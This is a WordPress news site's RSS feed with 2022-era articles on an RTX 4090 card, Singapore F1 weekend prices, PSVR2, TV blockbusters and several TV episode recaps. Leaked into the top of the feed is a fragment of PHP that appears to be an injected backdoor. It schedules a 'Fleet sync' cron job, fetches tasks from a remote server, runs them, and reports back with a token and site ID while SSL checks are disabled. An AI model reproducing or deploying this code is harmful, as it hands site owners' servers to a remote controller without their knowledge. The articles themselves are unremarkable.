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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); biggest – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 23 Sep 2022 21:54:16 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png biggest – Brief News https://briefnews.eu 32 32 The Aorus RTX 4090 Master is the biggest GPU we’ve ever seen https://briefnews.eu/the-aorus-rtx-4090-master-is-the-biggest-gpu-weve-ever-seen/ https://briefnews.eu/the-aorus-rtx-4090-master-is-the-biggest-gpu-weve-ever-seen/#respond Fri, 23 Sep 2022 21:54:16 +0000 https://briefnews.eu/the-aorus-rtx-4090-master-is-the-biggest-gpu-weve-ever-seen/ Gigabyte’s Aorus RTX 4090 Master is the biggest GPU we’ve ever seen. We don’t yet know the full specs of this GeForce RTX 4090 model, but we do know we’re going to need a very large case to house this beast.

This is a monster unit. It needs four slots all to itself on a motherboard. It comes with three 11 cm fans. It is 35.8 cm (14.1 inches) long and 16.2 cm (6.4 inches) wide, meaning we could literally stack several smaller RTX cards inside of it and still have some room to spare. Videocardz.com did the math and determined they could fit 10 Radeon RX 6400 cards inside.

The Aorus RTX 4090 Master gpu.
Gigabyte

This huge GPU should be enough to house the GeForce RTX 4090, which Nvidia announced on September 20. These are the newest graphics cards featuring Ada Lovelace architecture, offer better ray tracing, significantly improved rendering, and DLSS 3. It comes with up to 24GB of GDDR6X memory.

Nvidia is promising 2.5GHz of clock speed on the 4090 while gulping 450W of power. The RTX 4090 doesn’t come out until October 12, so we’ll need to wait to put it through real-world use, but we can expect impressive performance thanks to double the number of CUDA cores.

But we are drooling at the thought of one of those high-end maxed out RTX 4090s inside this enormous Aorus Master unit. The power draw must be impressive and we’re not looking forward to the electric bill (nor the incredibly high prices), but maybe here is something that will finally catapult gaming into the next era. After all, this is still a GPU waiting for a game worthy of its power.

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Race winner Sebastian Vettel of Germany and Ferrari and second placed Charles Leclerc of Monaco and Ferrari celebrate with their team during the F1 Grand Prix of Singapore at Marina Bay Street Circuit on September 22, 2019 in Singapore.

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  • The 2022 F1 Singapore Grand Prix is taking place from September 30 to October 2.
  • It's the biggest party weekend of the year in Singapore.
  • A three-day luxury ticket package to catch the race costs $ 9,898 Singapore dollars, or $ 7,036.

The F1 Singapore Grand Prix is back after a two-year pandemic hiatus, and the city is gearing up for its biggest weekend — think parties, fast cars, and global music acts converging all in one spot.

Home to the first Grand Prix night race, the country shuts down public roads in the city center and transforms them into a brightly lit track known as the Marina Bay Street Circuit.

Around 268,000 fans attended the 2019 F1 Singapore Grand Prix — the second-highest on record since the 2008 inaugural race, race organizer Singapore GP told local news outlet The Straits Times. This year's race, held from September 30 to October 2, is expected to draw a similar turnout, Singapore GP told local news outlet Today. 

Those without tickets can catch the action on two of the country's major pay-TV broadcasters. It's a big, celebratory event — even non-F1 fans will head out to the clubs for a slice of the action.

Want in? Get ready to pay up. Here's how much it'll cost you to party big during F1 weekend in Singapore.

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Public roads in the city center are shut down and transformed into the Marina Bay Street Circuit.

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Race tickets: S$ 98 – S$ 9,898

Prices for single-day general admission tickets vary across the weekend.

Ticket prices start at 98 Singapore dollars, or $ 70, for the practice race on Friday and go as high as S$ 988 for the race on Sunday. Three-day tickets will set you back as much as S$ 1,288.

There are also three-day hospitality packages, which include free-flow drinks and access to viewing galleries for prices ranging from S$ 1,605 to S$ 9,898.

The S$ 9,898 package — the Formula 1 Paddock Club — lets attendees watch the race from an air-conditioned suite above the pit garages. They also get access to walk down the pit lane and check out the cars and the race crew. 

Concert tickets: Only for those who hold race tickets

The F1 concert lineup this year includes Westlife, Green Day, and Marshmello. To catch the concert, you'll need to have tickets to the race first.

Prices for top hotels: Upwards of S$ 1,700 a night

The Marina Bay Street Circuit is surrounded by some of the largest hotels in the city.

But, as of September 16, rooms in Pan Pacific Singapore, the Ritz-Carlton Millenia Singapore, and the Fullerton Hotel Singapore were completely sold out from September 30 to October 3.

A representative for the Ritz-Carlton Millenia Singapore told Insider that room prices during the F1 weekend were around S$ 1,700 to S$ 2,000 per night. In contrast, rooms on a non-F1 weekend at the Ritz start from S$ 650 a night, per the hotel's website.

There are still rooms available at Parkroyal Collection Marina Bay hotel, where the Singapore Night Race (Track View) package costs S$ 2,500 per night. A representative for the company told Insider a minimum stay of three nights is required during that period.

Hotel room rates in Singapore are almost reaching a 10-year high, based on data from the Singapore Tourism Board. In July, the average room cost was S$ 259 — the highest since prices peaked at S$ 261.66 a decade ago in September 2012.

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Rooms at the Fullerton Hotel Singapore are completely sold out for F1 weekend.

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Big-name parties: Upwards of S$ 80

Of course, the party doesn't end when the race ends.

Amber Lounge is one of Singapore's biggest F1 after-parties, which is also held in Monaco and Abu Dhabi. This year's party will be held at The Fullerton Bay Hotel and touts "immersive theatrical cabaret," "cirque-themed performances," and lots of Champagne.

Entry passes for the party cost between S$ 800 and S$ 1,200. Groups of 10 who are looking to party in a VIP suite and have S$ 45,000 to burn can buy a package that includes vodka, caviar, and yes, Champagne.

Marquee Singapore, a nightclub at the Marina Bay Sands, or MBS, is celebrating race weekend with DJ Steve Aoki on September 30 and Afrojack on October 1. General admission tickets start from S$ 80, while express entry tickets start from S$ 250.

There's also the Mandala Weekender party happening at the MBS convention center for all three nights of the race weekend. The party costs upwards of S$ 148 a head and and features artists such as Kelis, Rae Sremmurd, and Rudimental.

Special F1-related food deals: Upwards of S$ 200 

Restaurants around the city are catching F1 fever, too.

Perched 57 stories above the ground, right at the top of the iconic MBS, is Cé La Vi Singapore. The rooftop restaurant opens up to views of the city-state on one side and the open sea on the other. It has a four-course F1 set menu: For S$ 300, you can feast on dishes like Boston lobster and Japanese king crab.

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The Marina Bay skyline as viewed from Marina Bay Sands.

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LAVO, an Italian restaurant also on the MBS rooftop, is holding a Race Weekend Party Brunch. For S$ 248, diners get to enjoy their food with free-flow drinks while Swiss DJ Gil Glaze spins his beats.

Alternatively, diners can indulge in some French food over at La Brasserie's Winning Formula Brunch, which costs S$ 238 with free-flow Champagne and house wines.

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Ahead of Sony’s arrival at this weekend’s 2022 Tokyo Games Show, the company’s PlayStation division pushed a bunch of online news to fans over the past 24 hours. The biggest news arguably came from hands-on and eyes-on impressions of its PlayStation VR2 add-on for the PS5 console.

The new virtual reality system, slated for an “early 2023” retail launch, is now being talked about outside Sony’s careful public relations hands, and its earliest testers have offered impressions of both the hardware and some of its apparent launch software.

PSVR2: What we already knew

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Thanks to Sony’s announcements from earlier this year, we know that PSVR2’s OLED display packs a pixel resolution of 4000×2040, which can run VR software in either 90 Hz or 120 Hz modes. That performance is boosted by a new foveated rendering system, which is meant to emphasize full pixel resolution where your eyes are focused and blur the parts where your eyes are not—and this, unsurprisingly, is coupled with new internal eye-tracking sensors.

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]]> https://briefnews.eu/our-biggest-remaining-playstation-vr2-questions-have-been-answered/feed/ 0 The biggest blockbusters aren’t in movie theaters right now — they’re on TV: from ‘The Rings of Power’ to ‘House of the Dragon’ https://briefnews.eu/the-biggest-blockbusters-arent-in-movie-theaters-right-now-theyre-on-tv-from-the-rings-of-power-to-house-of-the-dragon/ https://briefnews.eu/the-biggest-blockbusters-arent-in-movie-theaters-right-now-theyre-on-tv-from-the-rings-of-power-to-house-of-the-dragon/#respond Wed, 07 Sep 2022 12:25:28 +0000 https://briefnews.eu/the-biggest-blockbusters-arent-in-movie-theaters-right-now-theyre-on-tv-from-the-rings-of-power-to-house-of-the-dragon/ A woman with blonde hair wearing silver army on a battlefield.
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  • The blockbusterization of TV has reached a peak with "The Rings of Power" and "House of the Dragon."
  • The shows cost hundreds of millions of dollars to make — and have attracted millions of viewers.
  • Meanwhile, movie theaters are experiencing a dire lack of new releases.

Even as the movie business slowly recovers from the pandemic, it's not the big screen where most of the action is: It's on TV.

One example: Around 8 million people came out to movie theaters across the US on Saturday for "National Cinema Day" when thousands of theaters throughout the US offered tickets at $ 3 or less.

But six days prior, more than 10 million viewers watched the second episode of HBO's "House of the Dragon," the new "Game of Thrones" prequel.

Theaters managed to goose turnout on Saturday with their one-day promotion — an impressive accomplishment given that there were few options for moviegoers to choose from. Case-in-point: "Top Gun: Maverick" topped the weekend box office in its 15th weekend of release.

But more people still tuned in for the second episode of HBO's "Dragon."

The numbers illustrate how the movie business is desperate for new releases. The only franchise tentpoles on the schedule for the remainder of the year are DC's "Black Adam," Marvel's "Black Panther: Wakanda Forever," and "Avatar: The Way of Water." 

For the most part, the movie business is suffering from a dire movie drought. And the head of the National Association of Theatre Owners, John Fithian, doesn't think movie supply will be back to pre-pandemic levels for another 12 to 18 months.

Meanwhile, we're in an age of blockbuster TV, as The New York Times' Ross Douthat wrote last week.

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The blockbusterization of TV will likely continue

And it's not just "House of the Dragon." Amazon debuted its expensive "Lord of the Rings" series, "The Rings of Power," over the weekend, and the company said that 25 million people globally watched the first two episodes in their first day. (It did not break out US numbers).

Meanwhile, Disney+ is churning out countless Marvel and "Star Wars" shows, including "She-Hulk" (currently streaming), "Andor" (which debuts later this month), and the third season of "The Mandalorian" (which is expected to debut by year's end or early 2023).

In fact, the future of "Star Wars" is largely streaming TV — a big loss for movie theaters. Several film projects have been put on the back burner, and the next movie in the franchise is likely years away. Meanwhile, shows about Obi-Wan Kenobi and Boba Fett — which would have been movies before Disney+ came along — have already debuted, and there are a dozen shows in the works.

Last year, I wrote that the cross-platform future of franchise building was starting to take shape, as media companies shifted priorities to their streaming businesses. This battle for genre content has led to inflated TV budgets that rival Hollywood's biggest movies.

"The Rings of Power" is the most expensive TV series ever made, with a production budget of $ 465 million for the first season. "House of the Dragon" cost "under $ 20 million" per episode, according to Variety, which would amount to almost $ 200 million for season one.

And over the last six months, "House of the Dragon" has topped some of the year's biggest movies in social-media engagement, according to the analytics company Diesel Labs, from "Top Gun: Maverick" to "The Batman" to "Thor: Love and Thunder."

That means the blockbusterization of TV will likely continue as long as it keeps getting results.

Some examples: Apple is making a TV series set in the same universe as "Godzilla vs. Kong," and Disney is readying its own King Kong series. 

The directors of "Avengers: Endagme" and Netflix's "The Gray Man" are making a global spy thriller called "Citadel" that is expected to spawn local spinoffs — and it's costing over $ 200 million to make, The Hollywood Reporter reported last week, making it the second-most expensive TV series ever, behind "The Rings of Power."

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Lenovo is giving the foldable PC a second shot. The upcoming Lenovo 16-inch ThinkPad X1 Fold announced today attempts to improve on 2020’s ThinkPad X1 Fold with a bigger screen, more powerful specs, and an operating system better suited for multitasking across the bendable OLED touchscreen.

I tried out the Windows 11 PC ahead of its expected November launch, and it improved upon the weaknesses of the original 13.3-inch ThinkPad X1 Fold.

The new Fold folds up more securely than before, its OS is more accommodating to dual screens, and enhanced specs give it greater potential for business use. Lenovo may finally have the pieces needed for a desirable, natural-feeling foldable Windows experience.

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]]> https://briefnews.eu/hands-on-lenovos-second-foldable-pc-addresses-the-firsts-biggest-problems/feed/ 0 Legacies EP Breaks Down Musical Episode’s Biggest Surprises, Including [Spoiler]’s Emotional Cameo https://briefnews.eu/legacies-ep-breaks-down-musical-episodes-biggest-surprises-including-spoilers-emotional-cameo/ https://briefnews.eu/legacies-ep-breaks-down-musical-episodes-biggest-surprises-including-spoilers-emotional-cameo/#respond Fri, 05 Feb 2021 04:14:43 +0000 https://briefnews.eu/legacies-ep-breaks-down-musical-episodes-biggest-surprises-including-spoilers-emotional-cameo/

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From Nimue’s arrival to Rafael’s departure, the third season of Legacies has been full of surprises, though none have been quite as lyrical as the jaw-droppers thrown at us in Thursday’s episode, which featured the long-awaited debut performance of Salvatore: The Musical.

Under the bright lights of the Salvatore School auditorium, Josie, Kaleb, Jed and Lizzie — as Elena, Damon, Stefan and Caroline, respectively — retold the story of the institution’s founding, hitting several iconic beats from The Vampire Diaries in the process: Stefan and Elena’s first meeting, Stefan and Damon’s dramatic reunion, Elena’s eternal back-and-forth between the brothers, the seemingly endless parade of doppelgangers, and Klaus’ (played by this week’s interloping monster!) multi-figure donation to the school.

Speaking of Klaus, we even got a surprise performance of “Always and Forever” from Hope, who spent most of the episode rallying against the musical’s depiction of her family. (But more on that later.)

Of course, no surprise was more, well, surprising than the letter Lizzie received from Caroline, particularly because it was read in a voiceover by none other than Candice King (aka Caroline Forbes), marking her first official “appearance” on Legacies. (Click here for our gallery of every crossover in the Vampire Diaries universe, which has now been updated to include this episode.)

And in case you missed any of the letter, here are Caroline’s words in full: “Dear Lizzie, hopefully this can give you some perspective on who I used to be. When I was your age, I remember feeling like I was a total mess, like I was waiting to become a better version of me so my real life could start. But it wasn’t becoming a vampire that changed everything. Change is a series of small moments that build on each other, like steps up the side of a mountain. Your life isn’t on hold until you figure everything out. It’s already happening. You’re already changing, moment by moment. And Elizabeth, there is nothing wrong with you. Your brain chemistry creates unique challenges for you, but you are not broken. You are growing and changing everyday, and it’s beautiful to watch.”

Below, executive producer Julie Plec fields a few of TVLine’s burning questions from the episode:

TV Wish List 2021TVLINE | If there was a musical about my life, and I was still living in town, I’d want to be there. Should we imagine that Damon and Elena politely declined their invitation?
[Laughs] Let’s imagine that they couldn’t find a babysitter.

TVLINE | We did finally get Caroline to show up, even if it was just a vocal cameo. What was the ask there?
As you know, Candice is a good friend of mine and Brett’s, and there’s a soft spot in her heart for this show. She has said over the years that, she will show up one day, but she wanted a break after The Vampire Diaries and The Originals. She wanted to go out and live a non-Caroline Forbes life for a while. But she has always said, “If you never need something small or simple, just let me know.” So I just sent a text and she said, “Absolutely.” And then nine months went by before we actually needed her to do it because of the COVID shutdown.

TVLINE | Hope singing at the end was a nice surprise. How did I not know she could sing?
There are some actors who are very gifted at singing, who may even have a theater background, but just don’t like to sing anymore. They just don’t enjoy it, or they don’t want to combine [singing and acting]. When we did the talent show, Danielle [Rose Russell] was like, “No. Hope has no talent that she’s interested in sharing with anyone.” But when we were coming up with this episode, she was like, “So, Brett, you know that I sing…” And he was like, “Oh, really?” It was written so that it was coming from a place of her character working through a moment that she was having, and it just happened to be in song. That’s what worked for me. And I cry every time.

TVLINE | While we’re talking about the music, who do we give proper credit to?
This was a collaboration between Thomas Brandon, the episode’s writer, who also wrote Josie and Landon’s songs from the talent show. He’s our little secret weapon for musical stuff. But because we were doing a lot more songs than we did in the talent show, I asked him if he wanted to find a partner to take some of the heavy lifting. I reached out to my friend Michael Gracey, who directed The Greatest Showman and spent years developing those songs with [Benj] Pasek and [Justin] Paul. Anytime he came into town and dropped by my house, I’d hear different demo versions for years. So I knew he had a knack for that. I was like, “Do you happen to know anyone who’s not yet as famous as Pasek and Paul?” He said, “As a matter of fact, I just did a project with this guy Chris Read in London, and I think he’s the next Pasek and Paul.” So I said, “Send him my way,” and he did, and it turned into a really terrific partnership. … I also need to give a shout-out to our incredible choreographer Rhonda Kohl. She came up with the idea for that tango.

Legacies 'Vampire Diaries' MusicalTVLINE | How familiar was Chris with this universe? The songs all felt very true to that spirit.
Chris had never seen it, so he had to do quick binge. But because he did that, it was very fresh in his head and hit all the right notes.

TVLINE | This whole experience, revisiting where it all began 11 years ago, must have been cathartic.
I think so. You’ve got a whole range of people working on this crew, some who have been with us since The Vampire Diaries and The Originals. So there was a lot of fun nostalgia for them. And you also have people who are new, who were maybe fans and viewers of the show in the past, so they got to bring their own perspective to it. One of the reasons it works so well is because Thomas wrote from the perspective of a fan, having not written on [the original show]. He could be the social media fan, poking fun at us in a way that we might not have been able to poke fun at ourselves.

TVLINE | Lastly, about that final twist: What’s next after Alyssa’s apparent betrayal of MG?
Nothing good is next. Next week’s episode was written to be the finale of Season 2, so all of the little character things that were illuminated in the musical episode are teeing up the finale. There are betrayals, tragedies, epiphanies. Next week is actually a pretty big episode for all of the characters, and then we essentially launch a new chapter.

BONUS SCOOP | We also chatted with Kaylee Bryant about Josie’s kiss with Jade. Here’s what she says about that relationship: “Josie is not exactly the quickest with things. She needs to learn a lesson before she takes a big leap, and Jade was a huge lesson to her. She openly said, ‘This place isn’t right for me.’ Josie’s been feeling that way for a while now. She gave up her magic after really struggling with an addiction to it. And now she’s living in a place surrounded by magic. It’s all she’s ever known, so hearing someone say that they’re removing themselves from an unhealthy environment is something that Josie definitely needs to hear. This is what really kicks her into gear in taking the steps necessary to take care of herself.

What did you think of Salvatore: The Musical? Any favorite throwback references? And how about that Caroline “cameo”? Grade the episode below, then drop a comment with your full review.

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Horseshoe Bay’s motley crew of amateur sleuths resumed the most important mystery of their lives on Wednesday: How does one stop oneself from being murdered by a vengeful sea spirit? (We said it was important, not relatable.)

Nancy Drew‘s second season premiere picked up right where the CW drama’s truncated freshman finale left off, with Nancy & Co. scrambling to outsmart the Aglaeca, when Detective Tamura arrived with troubling news. A young woman named Amanda Bobbsey was hit by a car in the woods — sorry, make that haunted woods — and the last thing she said before losing consciousness was Nancy’s name. Not good.

Long story short, Amanda and her twin brother Gil (aka the Bobbsey Twins!) were looking for Nancy after seeing a tweet about the Aglaeca from the Drew Crew’s official Twitter account. (Bess had the bright idea to crowdsource their supernatural crisis, bless her heart.) As we would come to learn, the twins allegedly possessed a mirror capable of defeating the troublesome spirit, so the Crew had no choice but to track down Amanda’s missing twin. In a haunted forest. What could possibly go right?

The group’s search brought them to a hunting lodge, where they stumbled upon a shady meeting led by — you guessed it — Nancy’s secret grandfather! After narrowly escaping with their lives (thanks, Ryan!), the gang resumed their search, eventually finding Gil hiding from the forest’s dreaded Midnight Wraith in an abandoned bus. And when their collective positive thoughts fail to defeat the fear-loving wraith, Nancy resorted to plan B: light the damn thing on fire!

After a minor tussle with the authorities, Nancy was eventually released. (Thanks again, Ryan!) Her estranged father also handed over the mirror, which turned out to be much more than just a fancy piece of glass. Hidden beneath the surface was a cryptic message suggesting that the key to defeating the Aglaeca might be… musical? (Sea shanties, they’re not just for TikTok anymore!)

Nancy Drew RecapBelow, executive producers Melinda Hsu Taylor and Noga Landau answer a few of TVLine’s burning questions about the new season:

TVLINE | As I’m sure you fondly remember, the show’s first season was cut short because of the pandemic. How did that affect where you ended things and where you chose to resume the story in Season 2?
Fortunately for us, Episode 18 served as a really great season finale, almost like we planned it — which we definitely did not. [Laughs] But we got to leave people on a great cliffhanger. During the months between the shutdown and when we resumed production, we were on Zoom with the writers figuring out how to move forward. We had four scripts ready to go, which were originally 119, 120, 121 and 122. But 119 didn’t feel like a season premiere, because it wasn’t designed to be one. So we put together what we call 118.5, which takes place in the six hours between the end of 118 and the beginning of 119. We picked up directly with Nancy and the Crew’s visions, and we inserted a new mystery to forward the supernatural investigation and introduce the Bobbsey Twins.

TVLINE | It definitely felt like no time had passed.
We love reminding people that the timeline of the show is very compressed. In Nancy’s world, it was only a week ago tops that she found out she’s Lucy Sable’s daughter. So we’re still in October 2019. And Season 2 only takes place over six weeks, so we will never get to the pandemic in Nancy Drew. We will never, ever have people in face masks on screen on Nancy Drew. (Editor’s note: Thank. Goodness.)

TVLINE | Nancy’s panic attack on the bus suggests that she’s experiencing a bit of an identity crisis. Is that something she’ll explore this season?
That’s really what the season is about for Nancy. It’s hard to be a 19-year-old anyway, figuring out who you are and what you want to do with your life. On top of everything else, she has to reckon with the fact that her parents basically kidnapped her and raised her as their own. And they didn’t tell her that she’s actually from a family of troublesome billionaires who sometimes murder people. She has to figure out who she is. And there’s a lot of nature vs. nurture conflict this season. She starts to worry that she’s more like the Hudsons, as opposed to the Drews, who were always her moral compass.

TVLINE | I also enjoyed Carson and Ryan’s little face-off. Should we expect more friction between them?
Yes, but they’ll also kind of form a bond over time, over the shared desire for Nancy’s wellbeing. I think the odd-couple nature of that relationship is so fun. You’ll see them get to their own détente over the first few episodes. Carson has a lot of atoning to do and wants to rebuild his relationship with Nancy, and Ryan needs a role model for how to be a dad and a grownup. The three of them are one of the most fun triangles on the show, Nancy is not having it from either.

TVLINE | Nick and George are clearly very nervous about telling Nancy that they’re together. Considering everything else she has going on, will she really care that much?
Well, it always stings when that happens. Something I love about our show is that the three girls are always very tight and loyal to one another. That makes it even more bittersweet that George is now the one falling in love with Nick. Nancy wants her friend to be happy, but it also hurts, and Nancy is the type of character who tries to bury that hurt. It will pop up later on in the season. We were just so excited to pursue this romance, which is something that never would have happened in the original canon.

What did you think of Wednesday’s premiere? And what are your hopes for Nancy Drew‘s second season in general? Grade the episode below, then drop a comment with more of your thoughts.

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Spoiler alert: We’re about to break down Virgin River‘s trio of Season 2 shockers. Haven’t finished watching? You know what to do.

If you spent your holiday weekend stuffing your eyeballs with all 10 episodes of Virgin River Season 2, you’re probably experiencing some strong emotions right now — fear, uncertainty and, of course, impatience.

Not only do we have to wait for the third season of Virgin River to find out what befalls our ill-fated favorites after Episode 10, but since Netflix hasn’t even technically renewed the romantic drama for another season, we’ll also have to wait for that. (Much like Mel and Jack’s relationship, the show itself is also kind of a slow-burn.)

Let’s start with Hope and Doc, who began the finale by deciding to throw an elaborate vow renewal ceremony, complete with a suspiciously wedding-like reception to follow. It was a long-overdue turn of events for the previously down-low lovers, which only made their final twist all the more heartbreaking. As they entered their home, where dozens of their closest friends were waiting to ambush them with a surprise re-engagement party, Doc began to tell Hope that he had some difficult news to share from a recent check-up. The partygoers drowned out any chance he might have had to elaborate, so we went to showrunner Sue Tenney to find out more.

“Doc has some stuff going on [next] season,” Tenney tells TVLine, referring to his new situation as “a complication that will challenge him and will challenge his relationship with Hope. He’s going to rise to the challenge, but it is a real complication for him, especially for him practicing medicine going forward. Will he be able to continue to do that? The clinic and town are his life, so we will seriously explore that.”

Meanwhile, Preacher accepted Jamie’s offer for a chef gig in San Francisco, but the arrival of two familiar faces threatened to derail his travel plans. Not only did Wes’ twin brother (?!) show up with a warning for  Preacher (“One way or another, she’s going to pay for what she did to my brother!”), but Paige/Michelle’s son Christopher also returned to Virgin River in the finale with a request for Preacher: “Can I stay with you?”

Once again, Tenney doesn’t want to give too much away, but she reminds fans one thing about Preacher as they theorize about his next moves: “If you watch the show, you know how that character is going to respond to a cull to duty.” (In other words, we haven’t seen the last of him. Not even close.)

Virgin River Season 2Naturally, we saved the biggest cliffhanger — Mel discovering Jack bleeding out on the floor of the bar from an apparent gunshot — for last. All Tenney can say is that a potential third season would “go through trying to figure out who shot Jack,” launching a mystery that could play out “over several seasons.” As for how long Jack will have to recover before the action picks up again, Tenney says we can expect “a larger time jump than we had between Seasons 1 and 2.”

Tell us: Did you enjoy your experience binge-watching Virgin River Season 2? Which of the cliffhangers will occupy the most space in your brain until we get word of a Season 3 renewal? Grade the finale and the season below, then drop a comment with your full review. 


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Long-running fan favourite Maggie Rhee (played by Lauren Cohan) finally made her stunning return in the season finale, A Certain Doom.

However, her reintroduction just in time for the final season of The Walking Dead was overshadowed by her mysterious, masked companion.

Decked in a white hood and metal mask and wielding dual blades, TWD fans immediately went online to wildly speculate who they could be.

Luckily, it seems the formidable new warrior to the fold will be on Hilltop’s side, as they saved the life of Father Gabriel (Seth Gilliam) when they made their debut.

READ MORE: The Walking Dead boss confirms Michonne and Rick’s return

Due to the stranger’s expert combat skills, some comic book aficionados have proposed they could be Mercer, a ruthless soldier of Commonwealth in Robert Kirkman’s original series.

However, current showrunner Angela Kang shut down these rumours when she touched on what the finale will mean for season 11.

Speaking to Business Insider about episode 16, she definitively confirmed: “It’s not Mercer.”

Luckily, filming for the additional six episodes of season ten, and the upcoming final season, is in full swing.

While it will take some months before the new episodes are fit for broadcast, Kang’s comments reassured fans their patience will be rewarded.

In the meantime, Reedus has been chatting about how the pandemic has impacted the story of the zombie epic’s upcoming instalment.

The Daryl star said: “We really get into the heads of the characters more than a giant situation where you’d have thousands of zombies on top of you and people screaming and running,

“It’s more character-driven, because of COVID, it’s kind of changed the dynamic a little bit. Also, I think after such an epic battle at the end of this season I think you need some breathing room.”

TWD is infamous for its massive crowd shots featuring both determined survivors and approaching hordes of the undead.

Obviously, these sort of set pieces are no longer possible without large-scale coronavirus testing and restrictive health and safety measures.

After Hilltop’s epic battle with Beta (Ryan Hurst) and the Whisperers, season 11 could go back to basics before the series reaches its grand finale.

The Walking Dead will return in 2021 on AMC and Fox.

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